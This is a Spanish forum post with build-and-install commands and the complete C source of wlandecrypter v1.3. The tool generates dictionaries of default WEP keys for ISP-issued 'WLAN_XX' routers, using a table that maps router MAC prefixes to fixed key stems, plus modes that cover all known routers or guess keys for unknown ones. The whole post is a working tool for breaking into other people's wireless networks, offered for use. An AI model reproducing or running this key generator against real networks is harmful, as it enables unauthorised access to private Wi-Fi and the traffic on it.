Foro de elhacker.net

wget -c http://www.wifiway.org/archivos/wlandecrypter-0.7.tar.gz
tar zxvf wlandecrypter-0.7.tar.gz
cd wlandecrypter-0.7/
make clean && make && make install

/*****************************************************************************
* Fichero:	wlandecrypter.c
* Autor:	Nilp0inteR (nilp0inter2k6[at]gmail[dot]com)
* Fecha:	23-03-2006
* Actualizado:	22-11-2006 por nilp0inter
*
* Modificado v0.6 :     15-12-2007 por *dudux    dudux[at]elhacker[dot]net
* Modificado v0.7 :     22-11-2008 por *dudux    dudu[at]seguridadwireless[dot]net
* Modificado v0.8 :     12-04-2009 por *dudux    dudu[at]seguridadwireless[dot]net
* Modificado v1.0 :     10-05-2009 por *dudux  // bea vuela muy alto...el cielo es nuestro niña
* Modificado v1.1 :	18-05-2009 por *dudux     Añadida funcion para ESSIDs cambiados
* Modificado:           www.seguridadwireless.net
*
* Actualizado v1.2b:	18-11-2009 Niroz&NiñoMelon. Añadidas opciones '-l', '-e' y '-a'.
*			Añade router Xavi E0:91:53.
* 			También se eliminó la constante MAXINDEX y el código relacionado con ella.
*
* Actualizado v1.2:	08-12-2009 Niroz&NiñoMelon. Añdidas opciones '-l', '-e' y '-a'.
*			Añade routers Comtrend, Xavi, Thomson y Huawei.
* 			Se eliminó la constante MAXINDEX y el código relacionado con ella.
*
* Modificado v1.3:	Enero/Febrero 2010 por BlackHole
*			Reprogramación completa del código para facilitar su expansión futura.
*			Ver notas en cada función a lo largo del programa.
*
* Descripcion: Generador de diccionario de claves por defecto para los
* routers de Timofonik Zyxel, Xavy, Comtrend, Thomson y Huawei.
*
* Este programa es software libre; puedes redistribuirlo y/o modificarlo
* bajo los terminos de la Licencia Publica General GNU (GPL) publicada
* por la Free Software Foundation; en su version numero 2, o (bajo tu
* criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt.
*
* Este programa se distribuye SIN GARANTIA de ningun tipo. USALO bajo tu proio riesgo.
*
* Recomendaciones: wlandecrypter es multiplataforma, solo las ultimas versiones estan empaquetadas
*                  para  linux y  versiones de la Livecd WIFIWAY y WIFISLAX
*                  Hoy en dia estan para todo el mundo
*
*                 * Wlandecrypter 0.7 para  PDAs (Zaurus) gracias a burton de seguridadwireless
*                 * Wlandecrypter 0.5 para Macintosh
*                            --->http://wiki.adictolinux.org/index.php/Wlandecrypter_en_Mac_Os_X
*                 * Wlandecrypter 0.5 para windows no se nada,creo que nilp0inter compilo hasta la v0.5
*
* wlandecrypter 1.2 para windows y Macintosh en foro.seguridadwireless.net, o compila este mismo codigo.
*
* Mira tambien:  wlaninject , wlandestroy , wepattack , weplab y aircrack-ng
*
*****************************************************************************/

#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


#define VERSION 1
#define SUBVERSION 3
#define DATEVERSION "2010/02/19"


//--------------------------------------------------
// Numero de modelos de routers en la base de datos
//--------------------------------------------------

#define MAXROUTER 18		// Recordar actualizar el valor al número EXACTO de routers catalogados
#define MAXINIT 2		// Añadido v1.3: número máximo de familias de claves en un router


//--------------------------------------------------------------------------------
// Definición del tipo de dato Router
// v1.3: BlackHole (31/1/2010)
//       Se cambia la anterior estructura rígida por punteros a cadenas estáticas
//       Esto permite versatilidad y libertad completa de ampliación
//-----------------------------.........------------------------------------------

typedef struct Router
{
	char *bssid;		// Almacena BSSID
	char *notas;		// Almacena nombre del router
	char *init[MAXINIT];	// Almacena las partes fijas de la clave asociadas a un router
				// Cambiado v1.3: array de punteros a cadenas
} tRouter;


//--------------------
// Variables globales
//--------------------

FILE *fichero;
tRouter routers[MAXROUTER];
unsigned int baseMAC;
unsigned int wlanID;
unsigned int indeterminado=0;
unsigned int experimental=0;


//-----------------------------------------------------------
// Función: datosRouters
// Introduce los datos de los modelos conocidos
// v1.3: El array de routers pasa a ser global
//       GCC ya inicializa a NULL toda la estructura tRouter
//       Pendiente comprobar otros compiladores
//-----------------------------------------------------------

void datosRouters(void)
{
	// Z-com
	routers[0].bssid   = "00:60:B3";
	routers[0].init[0] = "Z001349";
	routers[0].notas   = "Z-com";

	// Xavvy
	routers[1].bssid   = "00:01:38";
	routers[1].init[0] = "X000138";
	routers[1].notas   = "Xavi 7768r";

	// Comtrend
	routers[2].bssid   = "00:03:C9";
	routers[2].init[0] = "C0030DA";
	routers[2].notas   = "Comtrend 535";

	// Zyxel : Gracias a thefkboss de foro.elhacker.net por esta observacion
	routers[3].bssid   = "00:A0:C5";
	routers[3].init[0] = "Z001349";
	routers[3].notas   = "ZyXEL 650HW/660HW";

	// Comtrend NUEVO, gracias a dnreinad por el coche xD
	routers[4].bssid   = "00:16:38";
	routers[4].init[0] = "C0030DA";
	routers[4].notas   = "Comtrend 536+";

	// P-660HW-D1,gracias a Tertulia de foro.elhacker.net  ;)
	routers[5].bssid   = "00:13:49";
	routers[5].init[0] = "Z001349";
	routers[5].init[1] = "Z0002CF";	// añadido v0.7 ....
	routers[5].notas   = "Zyxel 660HW-D1";

        // ZyGate Communications
        routers[6].bssid   = "00:02:CF";
        routers[6].init[0] = "Z0002CF";
        routers[6].init[1] = "Z0023F8";	// añadida v1.0 gracias a thedoctor77 ;)
        routers[6].notas   = "ZyGate";

        // Comtrend nuevos 2007-2008  *dudux y dnreinad
        routers[7].bssid   = "00:1A:2B";
        routers[7].init[0] = "C0030DA";
        routers[7].init[1] = "C001D20";	// añadido v0.7 ....
        routers[7].notas   = "Comtrend DSL";

        // Zygate v06. gracias pianista y Sycho por estar atento
        routers[8].bssid   = "00:19:CB";
        routers[8].init[0] = "Z0002CF";
        routers[8].init[1] = "Z0019CB";	// añadido v0.8 (2009) Zyxel FTTH
        routers[8].notas   = "ZyXEL 660HW (FTTH)";  // gracias Sycho :P

        // Comtrend hrodgar v0.6
        routers[9].bssid   = "00:19:15";
        routers[9].init[0] = "C0030DA";
        routers[9].notas   = "Comtrend (2008)";

        // Nuevos version0.7
        // Comtrend 2008 Mugen de el foro.elhacker.net  ;)
        routers[10].bssid   = "00:30:DA";
        routers[10].init[0] = "C0030DA";
        routers[10].notas   = "Comtrend 536+";

        // Comtrend nuevos 2008
        routers[11].bssid   = "00:1D:20";
        routers[11].init[0] = "C001D20";
        routers[11].notas   = "Comtrend 536+";

        //Nuevo version0.9
        // Zyxel P660HW-D1  2009 Gracias a Zim_Zum y a buckynet de seguridadwireless.net
        routers[12].bssid   = "00:23:F8";
        routers[12].init[0] = "Z0023F8";
        routers[12].notas   = "ZyXEL 660HW-D1";

        // Nuevo version1.0
        // Xavy 2009   zim_zum y *dudux
        routers[13].bssid   = "00:01:36";
        routers[13].init[0] = "X000138";
        routers[13].notas   = "Xavi 7768r (2009)";

	// *dudux v1.2
	// Comtrend 2009
	routers[14].bssid   = "00:03:DA";
	routers[14].init[0] = "C0030DA";
	routers[14].notas   = "Comtrend (2009)";

	// *dudux v1.2
	// Thomsom 2009
	routers[15].bssid   = "00:1F:9F";
	routers[15].init[0] = "T5YF69A";
	routers[15].notas   = "Thomsom (2009)";

	// Niroz&Melon v1.2
	// Xavi 7968. Solos 4610 RD / Solos 461x
	routers[16].bssid   = "E0:91:53";
	routers[16].init[0] = "XE09153";
	routers[16].notas   = "Xavi 7968-Solos 4610RD/461x";

	// Ferlan v1.2
	// Huawei EchoLife HG520v FTTH (Fibra optica)
	routers[17].bssid   = "00:18:02";
	routers[17].init[0] = "H4A69BA";
	routers[17].init[1] = "H538FBF";
	routers[17].notas   = "Huawei EchoLife HG520v (FTTH)";
}


//----------------------------------------------------------
// Funcion: salirError
// Centraliza mensajes de error y realiza salida controlada
// v1.3: BlackHole (4/2/2010)
//       Acentos eliminados intencionadamente para no tener
//       que gestionar codificación UTF-8 o ISO-8859-1
//----------------------------------------------------------

void salirError (int errnum)
{
	char *errmsg[8];

	errmsg[0]="Numero invalido de parametros";
	errmsg[1]="Opcion no reconocida";
	errmsg[2]="ESSID no especificado";
	errmsg[3]="ESSID invalido. Se esperaba formato WLAN_XX";
	errmsg[4]="BSSID no especificado";
	errmsg[5]="BSSID invalido. Se esperaba formato XX:XX:XX:XX:XX:XX";
	errmsg[6]="BSSID no encontrado. Usar -l para ver lista";
	errmsg[7]="Error al abrir o crear el fichero";

	if (fichero != NULL) fclose(fichero);
	fprintf(stderr," [-Error] %s\n\n",errmsg[errnum]);
	exit(errnum);
}


//---------------------------------------------------------------------------
// Funcion: muestraVersion
// Muestra la versión del programa
// v1.3: BlackHole (31/1/2010)
//       Se añade la fecha, para builds que no merecen incremento de version
//---------------------------------------------------------------------------

void muestraVersion(void)
{
	fprintf(stderr, "\n wlandecrypter v%i.%i (%s)\n\n", VERSION, SUBVERSION, DATEVERSION);
}


//-------------------------------------------------------------
// Funcion: muestraUso
// Muestra las opciones de uso del programa
// v1.3: BlackHole (4/2/2010)
//       Se fuerzan las opciones del programa al principio
//       para simplificar el código del analisis de parámetros
//-------------------------------------------------------------

void muestraUso(void)
{
	fprintf(stderr, " [http://www.seguridadwireless.net]\n");
	fprintf(stderr, " 2006 Nilp0inteR   2009 Niroz&Melon\n");
	fprintf(stderr, " 2007-2009 dudux   2010 BlackHole\n\n");
	fprintf(stderr, " uso: wlandecrypter [-x] <BSSID> <ESSID> [fichero]\n");
	fprintf(stderr, "      wlandecrypter -a <ESSID> [fichero]\n");
	fprintf(stderr, "      wlandecrypter -l\n\n");
	fprintf(stderr, "      -l : lista en pantalla todos los routers registrados\n");
	fprintf(stderr, "      -a : genera diccionario para todos los routers y una WLAN_XX\n");
	fprintf(stderr, "      -x : genera diccionario experimental para routers desconocidos\n\n");
	fprintf(stderr, "      Si <ESSID> = WLAN_?? genera todas las redes desde WLAN_00 a WLAN_FF\n\n");
}


//-------------------------------------------------
// Función: listaRouters
// Lista en pantalla todos los routers registrados
// v1.2: Niroz&Melon
// v1.3: BlackHole (Febrero 2010)
//       Usa nueva tabla estática de routers
//       Ordena lista por BSSID para verlos mejor
//-------------------------------------------------

int ordena_bssid(const void *a, const void *b)
{
	tRouter *x = (tRouter *)a;
	tRouter *y = (tRouter *)b;
	return strcmp(x->bssid, y->bssid);
}

void listaRouters(void)
{
	unsigned short int i;

	qsort(routers, MAXROUTER, sizeof(tRouter), ordena_bssid);

	for (i=0; i<MAXROUTER; i++)
	{
		fprintf(stdout, "BSSID: %s:XX:XX:XX - Router modelo: %s\n", routers[i].bssid, routers[i].notas);
	}

	fprintf(stderr,"\n");
}


//-------------------------------------------------------------
// Función: compruebaEssid
// Comprueba que el ESSID concuerde con un patrón WLAN_XX
// v1.3: BlackHole (4/2/2010)
//       Devuelve el final del ESSID para usarse en los bucles
//       (18/2/2010) Revisión del código para usar strtoul
//-------------------------------------------------------------

unsigned int compruebaEssid (char *essid)
{
	unsigned int i;

	if (strlen(essid) != 7) salirError(3);

	for (i=0;i<strlen(essid);i++) essid[i]=toupper(essid[i]);	//pasamos a mayúsculas

	if (strncmp("WLAN_", essid, 5) != 0) salirError(3);

	if (!isxdigit(essid[5]) || !isxdigit(essid[6]))
	{
		if (essid[5]=='?' && essid[6] =='?') indeterminado=1;	//generará todas las claves

		else salirError(3);
	}

	return strtoul(&essid[5],NULL,16);
}


//------------------------------------------------------------------
// Función: compruebaBssid
// Comprueba que el BSSID concuerde con un patrón XX:XX:XX:XX:XX:XX
// v1.3: BlackHole (18/2/2010)
//       Devuelve el principio de la MAC para el modo experimental
//------------------------------------------------------------------

unsigned int compruebaBssid (char *bssid)
{
	unsigned int i;
	char *s;

	if (strlen(bssid) != 17) salirError(5);

	for (i=0;i<strlen(bssid);i++) bssid[i]=toupper(bssid[i]);	//pasamos a mayúsculas

	for (i=0;i<5;i++) if (bssid[i*3+2]!=':') salirError(5);

	for (i=0;i<6;i++) if (!isxdigit(bssid[i*3]) || !isxdigit(bssid[i*3+1])) salirError(5);

	return (strtoul(bssid,&s,16)<<16) | (strtoul(s+1,&s,16)<<8) | strtoul(s+1,NULL,16);
}


//--------------------------------------------------------
// Función: buscaBssid
// Busca el BSSID en la tabla de routers
// Devuelve el identificador del router o -1 si no existe
//--------------------------------------------------------

int buscaBssid(char *bssid)
{
	unsigned int i;

	for(i=0;i<MAXROUTER;i++)
	{
		if (strncmp(routers[i].bssid,bssid,8)==0) return i;
	}

	return -1;
}


//------------------------------------------------------------------------------------------------
// Función: generaClaves
// Imprime las claves en un fichero
// v1.1: *dudux (idea de tupy de elhacker.net)
//       Nueva opción WLAN_?? para cuando se conserva la clave pero el ESSID ha sido cambiado
//       Ejemplo: WLAN_MARTINEZ  00:01:38:XX:XX:XX
//       Genera todas las claves que existirían desde WLAN_00 a WLAN_FF para un determinado BSSID
//       Implica 2^24 claves y 224 MB de datos por cada familia de claves asociada a un router
// v1.3: BlackHole (1/2/2010)
//       Se mezclan funciones essidCambiado e imprimeClaves en una sola
//       Usa nueva tabla estática de routers
//       Optimizado el código en dos simples bucles
//------------------------------------------------------------------------------------------------

unsigned long int generaClaves (FILE *fichero, int routerID, unsigned int wlanID)
{
	unsigned int i,j;
	unsigned long int numclaves=0;

	for (j=0; j<MAXINIT; j++)
	{
		if (routers[routerID].init[j] != NULL)
		{
			if (indeterminado)
			{
				for (i=0; i<16777216; i++)
				fprintf(fichero,"%s%06X\n",routers[routerID].init[j],i);
				numclaves+=i;
			}
			else
			{
				for (i=0; i<65536; i++)
				fprintf(fichero,"%s%04X%02X\n",routers[routerID].init[j],i,wlanID);
				numclaves+=i;
			}
		}
	}

	return numclaves;
}


//-------------------------------------------------------------------------------------------
// Funcion: generaExperimental
// Genera un listado experimental para routers desconocidos.
// v1.2: Niroz&Melon (Nov 2009)
//       Ya que en algunos de los ultimos routers, las claves siguen el patrón X112233xxxxAB
//       (ejemplo: router Xavi con MAC 11:22:33:xx:xx:xx y WLAN_AB) probar a generar una
//       lista que siga dicho patrón para futuros routers de los fabricantes conocidos.
// v1.3: BlackHole (18/2/2010)
//       Cambio radical del código pues la tabla de routers es ahora estática
//       Se genera el listado al vuelo con dos simples bucles
//       Genera un fichero de ~4 MB para un WLAN_XX determinado y 1120 MB para WLAN_??
//-------------------------------------------------------------------------------------------

unsigned long int generaExperimental (FILE *fichero, unsigned int baseMAC, unsigned int wlanID)
{
	unsigned int i,j;
	unsigned long int numclaves=0;
	char fabricantes[]="CZXTH";	// Comtrend,ZyXEL,Xavi,Thomson,Huawei

	for (j=0; j<strlen(fabricantes); j++)
	{
		if (indeterminado)
		{
			for (i=0; i<16777216; i++)
			fprintf(fichero,"%c%06X%06X\n",fabricantes[j],baseMAC,i);
			numclaves+=i;
		}
		else
		{
			for (i=0; i<65536; i++)
			fprintf(fichero,"%c%06X%04X%02X\n",fabricantes[j],baseMAC,i,wlanID);
			numclaves+=i;
		}
	}

	return numclaves;
}


//--------------------------------------------------------------------------------------
// Funcion: generaTodasClaves
// Genera las claves de una WLAN_XX para todos los routers registrados, sin tener en
// cuenta la BSSID introducida. Sirve para cuando el usuario coloca un router diferente
// al entregado por el operador, pero mantiene la configuración del original.
//
// v1.2: Creada por Niroz&Melon (27/11/2009)
// v1.3: BlackHole (1/2/2010)
//       Usa nueva tabla estática de routers
//       Optimizado el código en tres simples bucles
//       Genera un fichero de ~20 MB para un WLAN_XX determinado y ~5 GB para WLAN_??
//--------------------------------------------------------------------------------------

unsigned long int generaTodasClaves(FILE *fichero, unsigned int wlanID)
{
	unsigned int i,j,k;
	unsigned long int numclaves=0;

	for (k=0; k<MAXROUTER; k++)
	{
		for (j=0; j<MAXINIT; j++)
		{
			if (routers[k].init[j] != NULL)
			{
				if (indeterminado)
				{
					for (i=0; i<16777216; i++)
					fprintf(fichero,"%s%06X\n",routers[k].init[j],i);
					numclaves+=i;
				}
				else
				{
					for (i=0; i<65536; i++)
					fprintf(fichero,"%s%04X%02X\n",routers[k].init[j],i,wlanID);
					numclaves+=i;
				}
			}
		}
	}

	return numclaves;
}


////////////////////////
// Programa principal //
////////////////////////

int main(int argc, char *argv[])
{
	int pos = 1;
	int routerID;
	unsigned long int numclaves;

	muestraVersion();
	datosRouters();		// Se puebla la matriz de routers con los datos

	if (argc == 1)
	{
		muestraUso();
		return 0;
	}

	if (strcmp("-l", argv[1]) == 0)		// Lista routers
	{
		if (argc > 2) salirError(0);
		listaRouters();
		return 0;
	}

	if (strcmp("-a", argv[1]) == 0)		// Todos los routers registrados
	{
		if (argc > 4) salirError(0);
		if (argc < 3) salirError(2);

		wlanID = compruebaEssid (argv[2]);
		fprintf(stderr," [+] BSSID: Indiferente\n");
		fprintf(stderr," [+] Modelo: Todos los conocidos\n");

		if (argc == 4)
		{
			fichero = fopen(argv[3],"a+");
			if (fichero == NULL) salirError(7);
			fprintf(stderr," [+] Generando fichero de claves: %s\n", argv[3]);
			numclaves = generaTodasClaves(fichero, wlanID);
			fclose(fichero);
			fprintf(stderr," [+] Fichero guardado OK\n");
		}
		else
		{
			fprintf(stderr," [+] Seleccionada salida estandar\n");
			numclaves = generaTodasClaves(stdout, wlanID);
		}

		fprintf(stderr," [+] Generadas %lu claves (%lu KB)\n",numclaves,(numclaves/1024)*14);
		fprintf(stderr," [+] Proceso finalizado con exito\n\n");
		return 0;
	}

	if (strcmp("-x", argv[1]) == 0)
	{
		experimental = 1;
		pos++;
	}
	else if (argv[1][0]=='-') salirError(1);

	if (argc > pos+3) salirError(0);
	if (argc < pos+1) salirError(4);

	baseMAC = compruebaBssid (argv[pos]);
	routerID = buscaBssid(argv[pos]);

	if ((routerID < 0) && (!experimental)) salirError(6);
	if (argc < pos+2) salirError(2);

	wlanID = compruebaEssid (argv[pos+1]);

	if (experimental)
	{
		fprintf(stderr," [+] BSSID: %s\n", argv[pos]);
		fprintf(stderr," [+] Modelo: Desconocido\n");
	}
	else
	{
		fprintf(stderr," [+] BSSID: %s:XX:XX:XX\n", routers[routerID].bssid);
		fprintf(stderr," [+] Modelo: %s\n", routers[routerID].notas);
	}

	if (argc == pos+3)
	{
		fichero = fopen(argv[pos+2],"a+");
		if (fichero == NULL) salirError(7);
		fprintf(stderr," [+] Generando fichero de claves: %s\n", argv[pos+2]);

		if (experimental) numclaves = generaExperimental(fichero, baseMAC, wlanID);
		else numclaves = generaClaves(fichero, routerID, wlanID);

		fclose(fichero);
		fprintf(stderr," [+] Fichero guardado OK\n");
	}
	else
	{
		fprintf(stderr," [+] Seleccionada salida estandar\n");

		if (experimental) numclaves = generaExperimental(stdout, baseMAC, wlanID);
		else numclaves = generaClaves(stdout, routerID, wlanID);
	}

	fprintf(stderr," [+] Generadas %lu claves (%lu KB)\n",numclaves,(numclaves/1024)*14);
	fprintf(stderr," [+] Proceso finalizado con exito\n\n");

	return 0;
}

//---------------------------------------------------------------------------------- EOF